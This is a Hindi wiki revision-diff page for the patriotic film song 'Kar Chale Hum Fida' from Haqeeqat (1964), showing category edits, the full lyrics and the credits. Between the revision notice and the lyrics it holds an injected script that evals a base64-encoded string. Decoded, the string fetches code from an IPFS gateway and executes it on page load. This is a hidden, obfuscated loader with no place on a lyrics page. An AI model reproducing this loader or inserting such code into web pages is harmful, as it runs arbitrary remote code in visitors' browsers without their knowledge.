"कर चले हम फ़िदा" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{पुनरीक्षण}} {{Poemopen}} <poem> (कर चले हम फ़िदा जान-ओ-तन साथियों ...' के साथ नया पन्ना बनाया)
 
पंक्ति 37: पंक्ति 37:
 
* गीतकार : कैफी आज़मी
 
* गीतकार : कैफी आज़मी
  
 
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
+
{{देश भक्ति गीत}}
[[Category:नया पन्ना दिसंबर-2011]]
+
[[Category:फ़िल्मी गीत]]
 
+
[[Category:देश भक्ति गीत]]
 +
[[Category:संगीत]]
 +
[[Category:संगीत कोश]]
 +
[[Category:सिनेमा]]
 +
[[Category:सिनेमा कोश]]
 
__INDEX__
 
__INDEX__
[[Category:देश_भक्ति_गीत]]
+
__NOTOC__

09:20, 7 जनवरी 2012 का अवतरण

Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

(कर चले हम फ़िदा जान-ओ-तन साथियों
अब तुम्हारे हवाले वतन साथियों ) - (2)

साँस थमती गई नब्ज़ जमती गई
फिर भी बढ़ते कदम को न रुकने दिया
कट गये सर हमारे तो कुछ ग़म नहीं
सर हिमालय का हमने न झुकने दिया
मरते मरते रहा बाँकापन साथियों, अब तुम्हारे ...

ज़िंदा रहने के मौसम बहुत हैं मगर
जान देने की रुत रोज़ आती नहीं
हुस्न और इश्क़ दोनों को रुसवा करे
वो जवानी जो खूँ में नहाती नहीं
बाँध लो अपने सर पर कफ़न साथियों, अब तुम्हारे ...

राह क़ुर्बानियों की न वीरान हो
तुम सजाते ही रहना नये क़ाफ़िले
फ़तह का जश्न इस जश्न के बाद है
ज़िंदगी मौत से मिल रही है गले
आज धरती बनी है दुल्हन साथियों, अब तुम्हारे ...

खींच दो अपने खूँ से ज़मीं पर लकीर
इस तरफ़ आने पाये न रावण कोई
तोड़ दो हाथ अगर हाथ उठने लगे
छूने पाये न सीता का दामन कोई
राम भी तुम तुम्हीं लक्ष्मण साथियों, अब तुम्हारे ...

  • फिल्म : हकीक़त (1964)
  • संगीतकार : मदन मोहन
  • गायक : मो रफी
  • रचनाकार :
  • गीतकार : कैफी आज़मी

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख